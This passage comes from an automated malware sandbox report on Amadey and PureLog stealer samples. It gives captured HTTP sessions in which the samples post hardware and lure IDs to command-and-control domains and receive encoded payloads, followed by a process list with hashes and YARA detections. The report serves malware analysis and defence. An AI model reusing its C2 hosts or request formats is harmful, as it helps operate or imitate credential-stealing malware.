alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2173&min_rtt=2125&rtt_var=831&sent=16&recv=27&lost=0&retrans=0&sent_bytes=2832&recv_bytes=21404&delivery_rate=1374117&cwnd=171&unsent_bytes=0&cid=f678f675d88b37d2&ts=970&x=0"
2024-12-20 10:13:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 10:13:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49943	104.21.23.76	443	6888	C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:13:06 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-20 10:13:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 10:13:06 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k9srnngm5imgi267hu4jpacipv; expires=Tue, 15 Apr 2025 03:59:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B%2B95Nx3tQ%2F2PlJiG9XNLx6qxp7KjqdAglDDyPXxWvEujfZ39fwXwi67IHDIjDi84kttyGmqHhIPlpfe3r5hCAxxR0l2pVZU74TMFNa5yf2sRVEDX%2FhBJnpGOZp680XBv2jULn3Ut"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb9bc8f5c43b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1489&min_rtt=1487&rtt_var=562&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=910&delivery_rate=1938911&cwnd=194&unsent_bytes=0&cid=11762994f0584196&ts=762&x=0"
2024-12-20 10:13:06 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 10:13:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49949	172.67.197.170	443	5828	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:13:06 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3HJV2IN2G0KM7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1277 Host: discokeyus.lat
2024-12-20 10:13:06 UTC	1277	OUT	Data Raw: 2d 2d 33 48 4a 56 32 49 4e 32 47 30 4b 4d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 46 34 33 36 34 41 41 33 35 37 35 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 33 48 4a 56 32 49 4e 32 47 30 4b 4d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 48 4a 56 32 49 4e 32 47 30 4b 4d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 33 48 4a 56 32 49 4e 32 47 30 4b Data Ascii: --3HJV2IN2G0KM7Content-Disposition: form-data; name="hwid"23EF4364AA35754AAC8923850305D13E--3HJV2IN2G0KM7Content-Disposition: form-data; name="pid"1--3HJV2IN2G0KM7Content-Disposition: form-data; name="lid"PsFKDg--pablo--3HJV2IN2G0K
2024-12-20 10:13:08 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:13:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s8q4nltshfgkchjfm4nqram4s3; expires=Tue, 15 Apr 2025 03:59:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MHW%2BSh9uoxMH%2FNvlFPjiQM81a8hsl9t%2FkAgjQd1NFmG1GETvIpB2JFv%2FRDnq9MKB184ttzRqCKeFVLA2DULbRznHCXL8SzhULEFq8wi%2FSR5vJ63lhCmYQkqDgRW3SotUuw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb9fa9c1186d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1664&rtt_var=637&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=2187&delivery_rate=1699650&cwnd=250&unsent_bytes=0&cid=c6637349b441ccf6&ts=1080&x=0"
2024-12-20 10:13:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 10:13:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49950	104.21.23.76	443	6888	C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:13:08 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-20 10:13:08 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-20 10:13:09 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:13:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=keeumuaod1diabt3f2q9kh6e1a; expires=Tue, 15 Apr 2025 03:59:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OZatV5quEpxJXcEI0PtRDD4ruWtYXOzc0IxTIjCA60OFk41Y89XYigM%2B1Uxu8SkaH0xMAxwWNfwuQvN9dyqFq6pmZtutxm9rY0ILVtq3IdJtMHOSfkmoiNbCTbXtPUCTUl1eTCLG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edba82b760f9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1464&min_rtt=1458&rtt_var=559&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=949&delivery_rate=1936339&cwnd=213&unsent_bytes=0&cid=f999e19f6b5f4887&ts=799&x=0"
2024-12-20 10:13:09 UTC	248	IN	Data Raw: 34 36 39 0d 0a 65 74 4c 6e 33 4f 57 47 69 64 43 38 49 4d 54 65 6e 57 4d 71 74 42 30 67 2b 4c 62 59 33 4f 71 35 6c 35 73 38 39 45 31 2b 71 4f 41 42 38 4a 48 2b 33 37 4b 6c 38 73 39 46 35 75 54 70 45 56 2f 52 4d 51 4b 5a 30 76 72 6d 6a 4e 6a 37 36 46 6e 59 62 77 6a 46 77 6b 43 30 68 72 43 57 34 36 58 79 32 56 6a 6d 35 4d 59 59 43 4e 46 7a 41 73 4b 55 76 62 61 49 32 50 76 35 58 5a 38 69 44 73 53 44 45 72 36 41 74 49 44 6c 37 62 48 51 54 61 47 37 2b 41 4a 41 32 6e 52 4e 6b 4e 76 36 38 4d 6a 63 37 62 6b 47 31 67 41 62 33 49 45 33 73 35 53 33 78 2f 75 6c 71 35 35 46 71 76 79 6e 51 55 76 52 66 30 79 65 30 72 4f 30 67 74 48 7a 2b 46 69 65 50 52 66 4f 69 42 4b 77 67 37 57 4b 37 50 6d 38 32 6b 71 71 76 66 49 43 43 4a 67 2f 52 59 4b 55 34 76 37 Data Ascii: 469etLn3OWGidC8IMTenWMqtB0g+LbY3Oq5l5s89E1+qOAB8JH+37Kl8s9F5uTpEV/RMQKZ0vrmjNj76FnYbwjFwkC0hrCW46Xy2Vjm5MYYCNFzAsKUvbaI2Pv5XZ8iDsSDEr6AtIDl7bHQTaG7+AJA2nRNkNv68Mjc7bkG1gAb3IE3s5S3x/ulq55FqvynQUvRf0ye0rO0gtHz+FiePRfOiBKwg7WK7Pm82kqqvfICCJg/RYKU4v7
2024-12-20 10:13:09 UTC	888	IN	Data Raw: 62 36 66 62 6f 54 34 4d 69 44 4d 7a 43 42 2f 36 63 2f 6f 44 6f 71 2b 71 65 53 71 71 79 2b 67 4a 48 30 58 35 43 69 4e 75 36 76 59 44 54 38 66 4e 52 6d 53 41 53 77 49 55 51 75 59 4b 78 67 4f 7a 74 76 64 30 43 36 50 7a 34 47 51 69 4f 50 32 4b 4b 31 37 6d 71 68 63 71 31 35 68 43 50 62 78 76 47 77 6b 44 77 67 37 43 47 36 65 75 67 31 6b 6d 74 75 65 30 4b 51 64 74 79 51 70 66 65 74 62 32 49 33 50 2f 7a 55 5a 77 72 45 63 65 45 47 4c 44 46 38 4d 66 6a 38 2f 4b 47 41 6f 57 35 37 77 5a 45 77 44 31 34 32 73 76 30 70 38 6a 63 2b 62 6b 47 31 69 63 5a 79 59 45 54 76 34 61 32 6a 50 62 72 6f 4e 68 50 6f 36 37 35 42 45 62 63 66 46 43 51 32 72 79 39 67 64 44 38 2f 46 6d 53 62 31 4b 4b 68 51 44 77 33 66 36 6d 36 65 43 2b 31 46 57 6d 2f 4f 42 50 55 5a 5a 34 54 74 71 4d 2b 72 Data Ascii: b6fboT4MiDMzCB/6c/oDoq+qeSqqy+gJH0X5CiNu6vYDT8fNRmSASwIUQuYKxgOztvd0C6Pz4GQiOP2KK17mqhcq15hCPbxvGwkDwg7CG6eug1kmtue0KQdtyQpfetb2I3P/zUZwrEceEGLDF8Mfj8/KGAoW57wZEwD142sv0p8jc+bkG1icZyYETv4a2jPbroNhPo675BEbcfFCQ2ry9gdD8/FmSb1KKhQDw3f6m6eC+1FWm/OBPUZZ4TtqM+r
2024-12-20 10:13:09 UTC	1369	IN	Data Raw: 31 38 33 66 0d 0a 64 56 78 54 4a 33 43 2b 71 48 47 77 72 58 2b 55 74 5a 33 58 4d 57 4e 46 37 69 46 76 34 50 70 37 37 50 54 54 71 2b 2f 38 77 31 41 32 33 4e 47 6c 64 79 79 76 59 44 4a 2b 2f 64 59 6b 43 38 5a 69 73 78 59 74 35 33 2b 33 36 54 50 76 4d 6c 57 72 66 37 4b 41 6b 62 59 65 46 54 61 79 2f 53 6e 79 4e 7a 35 75 51 62 57 49 52 48 42 6a 68 2b 35 68 4c 32 48 37 75 57 39 31 45 71 75 76 50 49 41 51 39 35 35 54 35 48 62 74 62 6d 41 32 50 6e 38 55 35 56 76 55 6f 71 46 41 50 44 64 2f 71 4c 71 36 4b 50 50 41 4a 4f 2f 38 51 39 50 77 44 39 64 31 4d 33 36 75 59 53 62 72 62 6c 55 6b 53 67 59 78 34 67 62 74 49 47 7a 69 4f 33 69 75 38 78 49 71 72 4c 74 44 45 4c 54 63 55 36 66 32 37 71 2f 69 64 58 2f 38 68 37 59 62 78 76 53 77 6b 44 77 71 72 4f 58 39 75 47 35 7a 77 Data Ascii: 183fdVxTJ3C+qHGwrX+UtZ3XMWNF7iFv4Pp77PTTq+/8w1A23NGldyyvYDJ+/dYkC8ZisxYt53+36TPvMlWrf7KAkbYeFTay/SnyNz5uQbWIRHBjh+5hL2H7uW91EquvPIAQ955T5HbtbmA2Pn8U5VvUoqFAPDd/qLq6KPPAJO/8Q9PwD9d1M36uYSbrblUkSgYx4gbtIGziO3iu8xIqrLtDELTcU6f27q/idX/8h7YbxvSwkDwqrOX9uG5zw
2024-12-20 10:13:09 UTC	1369	IN	Data Raw: 47 51 69 4f 50 32 32 5a 77 72 44 2b 6c 35 58 73 75 56 6d 61 62 30 53 4b 69 42 53 30 68 72 4b 4f 36 4f 61 7a 32 6b 57 72 75 50 38 48 54 74 4e 2b 53 5a 4c 59 74 62 53 45 33 2f 6e 77 57 4a 6f 73 48 38 7a 43 56 76 43 43 70 73 65 38 71 35 50 54 53 61 71 38 2f 42 42 50 6c 6a 45 43 6c 4e 4b 36 2f 74 44 4e 35 65 35 5a 69 57 45 46 69 6f 55 55 38 4e 33 2b 6a 66 62 75 76 4e 70 49 6f 37 6a 7a 43 30 6a 54 62 55 71 63 30 37 61 32 6a 64 54 7a 2f 46 4f 52 4a 42 2f 59 6b 42 75 30 69 37 4c 48 71 71 75 31 78 67 4c 2b 2f 4e 6f 57 53 38 5a 35 51 64 72 4c 39 4b 66 49 33 50 6d 35 42 74 59 76 45 73 61 4a 48 37 75 4f 75 6f 50 6b 35 72 6e 51 54 4b 2b 77 39 77 31 50 78 48 4a 48 6b 74 36 7a 75 34 54 57 39 75 74 64 6c 32 39 53 69 6f 55 41 38 4e 33 2b 6f 4e 66 63 6b 5a 35 64 36 4b 57 Data Ascii: GQiOP22ZwrD+l5XsuVmab0SKiBS0hrKO6Oaz2kWruP8HTtN+SZLYtbSE3/nwWJosH8zCVvCCpse8q5PTSaq8/BBPljEClNK6/tDN5e5ZiWEFioUU8N3+jfbuvNpIo7jzC0jTbUqc07a2jdTz/FORJB/YkBu0i7LHqqu1xgL+/NoWS8Z5QdrL9KfI3Pm5BtYvEsaJH7uOuoPk5rnQTK+w9w1PxHJHkt6zu4TW9utdl29SioUA8N3+oNfckZ5d6KW
2024-12-20 10:13:09 UTC	1369	IN	Data Raw: 69 63 43 74 74 65 31 74 63 6a 45 75 2b 41 65 6b 53 4e 63 6b 73 49 66 75 49 32 77 68 4f 4c 67 76 74 4a 44 72 37 72 36 43 55 2f 5a 65 45 75 64 31 4c 79 73 6a 39 62 38 2b 56 57 66 4a 52 6a 4c 69 56 6a 2b 78 62 6d 66 70 4c 50 79 37 45 57 77 72 50 78 42 56 35 68 6d 41 70 33 59 2b 75 62 49 31 75 66 34 57 34 51 72 45 38 47 51 45 37 61 46 75 35 58 6a 35 37 6a 52 51 61 36 78 2f 41 6c 61 31 6e 4a 43 69 4d 61 38 74 59 61 62 75 37 6c 5a 6a 6d 39 45 69 72 4d 50 75 38 57 68 79 66 32 72 74 64 49 43 2f 76 7a 38 43 30 58 59 62 55 61 63 33 37 6d 77 67 4e 37 39 2f 56 53 62 49 42 66 41 69 78 43 77 69 72 75 50 37 2b 32 38 33 30 53 71 73 62 39 50 43 4e 46 6e 41 73 4b 55 6e 61 53 46 33 65 4c 6f 61 35 45 76 54 59 71 64 56 71 6e 46 75 59 75 6b 73 2f 4c 54 54 71 79 78 2b 67 56 41 Data Ascii: icCtte1tcjEu+AekSNcksIfuI2whOLgvtJDr7r6CU/ZeEud1Lysj9b8+VWfJRjLiVj+xbmfpLPy7EWwrPxBV5hmAp3Y+ubI1uf4W4QrE8GQE7aFu5Xj57jRQa6x/Ala1nJCiMa8tYabu7lZjm9EirMPu8Whyf2rtdIC/vz8C0XYbUac37mwgN79/VSbIBfAixCwiruP7+2830Sqsb9PCNFnAsKUnaSF3eLoa5EvTYqdVqnFuYuks/LTTqyx+gVA
2024-12-20 10:13:09 UTC	1369	IN	Data Raw: 54 4e 2b 72 6d 45 6d 36 32 35 55 4a 73 70 48 63 75 4b 45 4c 43 44 74 49 50 6e 34 72 48 5a 53 36 43 33 2f 41 74 48 30 58 6c 47 6d 74 2b 39 73 49 37 65 2f 76 41 65 32 47 38 62 30 73 4a 41 38 4b 4f 64 6c 66 62 5a 76 4e 31 5a 35 71 4f 78 47 41 6a 52 63 77 4c 43 6c 4c 47 32 68 38 6e 77 38 46 61 53 4a 68 7a 4f 69 42 57 33 68 62 75 4b 34 65 2b 38 32 6b 57 6d 73 50 41 47 51 4e 6c 37 51 70 57 55 39 50 36 50 77 37 57 68 48 72 59 6b 43 75 75 4d 45 36 4c 46 6f 63 6e 39 71 37 58 53 41 76 37 38 38 51 68 4a 33 6e 46 4f 6b 74 43 6f 76 6f 50 53 2b 76 68 52 6c 69 77 64 77 49 6f 4b 74 6f 57 31 6a 2b 50 6a 74 74 42 51 70 37 4f 2f 54 77 6a 52 5a 77 4c 43 6c 49 75 6f 6a 39 7a 36 75 33 65 52 4e 42 33 41 67 52 4f 38 78 61 48 4a 2f 61 75 31 30 67 4c 2b 2f 50 49 4e 52 64 4a 74 54 Data Ascii: TN+rmEm625UJspHcuKELCDtIPn4rHZS6C3/AtH0XlGmt+9sI7e/vAe2G8b0sJA8KOdlfbZvN1Z5qOxGAjRcwLClLG2h8nw8FaSJhzOiBW3hbuK4e+82kWmsPAGQNl7QpWU9P6Pw7WhHrYkCuuME6LFocn9q7XSAv788QhJ3nFOktCovoPS+vhRliwdwIoKtoW1j+PjttBQp7O/TwjRZwLClIuoj9z6u3eRNB3AgRO8xaHJ/au10gL+/PINRdJtT
2024-12-20 10:13:09 UTC	739	IN	Data Raw: 2b 30 4a 76 2b 39 31 75 58 49 78 62 4e 6a 41 71 78 6a 37 4b 47 34 2b 79 35 7a 45 6d 30 74 2f 63 43 52 74 35 32 51 70 54 55 75 37 4f 49 6d 37 75 35 57 59 35 76 52 49 71 6e 4f 36 65 54 74 4d 58 48 2f 4b 54 55 52 61 71 71 39 41 42 4c 77 48 4a 53 32 70 72 36 72 34 2f 4b 74 61 46 49 68 6a 67 62 31 63 77 42 38 49 4b 79 78 37 79 72 75 64 46 4d 71 37 66 37 43 45 33 65 66 45 65 66 33 72 61 79 69 64 50 38 38 31 75 54 4b 52 62 4a 6a 42 65 78 69 62 71 4f 36 75 4c 79 6b 41 4b 68 70 4c 39 5a 43 4f 42 76 52 59 4c 5a 71 76 79 36 32 4f 54 6f 53 35 73 2f 47 6f 69 74 47 37 79 47 75 34 44 30 71 36 32 51 57 2b 61 37 38 30 45 51 6c 6e 39 47 6c 74 65 39 73 49 66 57 2b 76 35 56 6d 53 55 53 32 49 30 64 75 49 6d 32 69 76 62 68 75 4d 78 4c 72 37 48 78 43 56 72 56 50 77 7a 61 30 36 Data Ascii: +0Jv+91uXIxbNjAqxj7KG4+y5zEm0t/cCRt52QpTUu7OIm7u5WY5vRIqnO6eTtMXH/KTURaqq9ABLwHJS2pr6r4/KtaFIhjgb1cwB8IKyx7yrudFMq7f7CE3efEef3rayidP881uTKRbJjBexibqO6uLykAKhpL9ZCOBvRYLZqvy62OToS5s/GoitG7yGu4D0q62QW+a780EQln9Glte9sIfW+v5VmSUS2I0duIm2ivbhuMxLr7HxCVrVPwza06
2024-12-20 10:13:09 UTC	1369	IN	Data Raw: 38 31 30 0d 0a 32 6f 55 50 76 38 58 77 78 2b 4b 72 36 6f 30 4d 35 72 6a 75 51 52 43 47 4c 52 6e 50 68 2b 33 75 32 73 53 37 34 42 36 41 62 30 53 59 7a 46 69 69 78 65 62 48 6f 2b 69 67 7a 45 53 6c 71 76 78 47 64 75 68 59 57 4a 66 53 72 61 2b 32 35 66 4c 6a 55 35 41 34 44 59 61 58 47 37 36 4c 75 5a 47 6b 70 66 4c 52 41 76 36 46 76 30 6b 49 36 54 45 43 67 70 54 69 2f 72 33 59 2b 2f 64 5a 67 44 35 52 37 5a 67 56 74 70 4b 76 78 36 71 72 74 4a 34 61 39 76 4b 2f 42 56 6d 57 4a 78 4c 49 6a 2b 2f 74 33 34 75 6e 35 68 43 50 62 77 71 4b 32 6b 72 2b 78 61 7a 48 76 4b 76 31 33 56 43 30 75 76 77 58 53 35 46 42 66 4c 54 54 76 4c 75 50 79 37 66 58 56 59 49 6f 58 49 54 43 46 2f 44 64 68 38 65 73 71 34 32 51 41 72 37 38 70 30 46 39 31 58 46 4d 6e 63 4b 72 38 36 62 63 38 2f Data Ascii: 8102oUPv8Xwx+Kr6o0M5rjuQRCGLRnPh+3u2sS74B6Ab0SYzFiixebHo+igzESlqvxGduhYWJfSra+25fLjU5A4DYaXG76LuZGkpfLRAv6Fv0kI6TECgpTi/r3Y+/dZgD5R7ZgVtpKvx6qrtJ4a9vK/BVmWJxLIj+/t34un5hCPbwqK2kr+xazHvKv13VC0uvwXS5FBfLTTvLuPy7fXVYIoXITCF/Ddh8esq42QAr78p0F91XFMncKr86bc8/
2024-12-20 10:13:09 UTC	702	IN	Data Raw: 58 4e 7a 43 51 4f 4c 4c 2f 70 57 6b 73 2f 4b 5a 51 62 53 75 2b 51 4a 65 31 54 68 38 70 50 4f 30 75 59 6e 4e 35 65 35 52 32 51 45 71 36 37 77 6d 70 59 61 77 69 65 50 39 6f 35 34 4d 35 72 4f 2f 57 58 47 57 4e 77 4b 6c 6d 76 71 6d 79 49 4f 31 7a 46 32 59 49 52 76 63 6b 31 57 58 69 37 6d 47 38 76 75 6c 30 51 32 49 69 74 35 42 42 70 5a 35 41 73 4b 47 39 50 36 4d 79 72 57 68 44 73 52 30 53 5a 6e 56 53 4f 4b 61 38 4a 36 6b 2f 66 4b 47 45 4f 6a 38 37 55 45 51 6c 6a 68 42 69 4d 61 38 76 5a 37 59 73 73 64 67 73 53 45 62 79 35 51 49 76 59 6d 66 68 50 58 68 6a 4f 42 58 70 62 4c 78 42 6c 37 48 50 77 7a 61 32 2f 72 6d 73 5a 75 39 75 57 48 59 62 77 53 4b 32 6c 69 46 68 72 43 4a 34 2f 32 6a 6b 32 57 6f 75 2f 34 58 57 4e 74 7a 59 35 6e 46 73 50 37 47 6d 2f 4f 35 42 73 52 Data Ascii: XNzCQOLL/pWks/KZQbSu+QJe1Th8pPO0uYnN5e5R2QEq67wmpYawieP9o54M5rO/WXGWNwKlmvqmyIO1zF2YIRvck1WXi7mG8vul0Q2Iit5BBpZ5AsKG9P6MyrWhDsR0SZnVSOKa8J6k/fKGEOj87UEQljhBiMa8vZ7YssdgsSEby5QIvYmfhPXhjOBXpbLxBl7HPwza2/rmsZu9uWHYbwSK2liFhrCJ4/2jk2Wou/4XWNtzY5nFsP7Gm/O5BsR

Target ID:	0
Start time:	05:10:59
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x630000
File size:	2'958'336 bytes
MD5 hash:	6CEB0F68635C643029BDCBF6FAB01B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1706351975.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:11:02
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb70000
File size:	2'958'336 bytes
MD5 hash:	6CEB0F68635C643029BDCBF6FAB01B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1739885590.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:11:03
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb70000
File size:	2'958'336 bytes
MD5 hash:	6CEB0F68635C643029BDCBF6FAB01B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1749880322.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:12:00
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb70000
File size:	2'958'336 bytes
MD5 hash:	6CEB0F68635C643029BDCBF6FAB01B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2317025706.0000000005190000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:12:16
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe"
Imagebase:	0xe20000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 54%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:12:16
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe"
Imagebase:	0x810000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:12:24
Start date:	20/12/2024
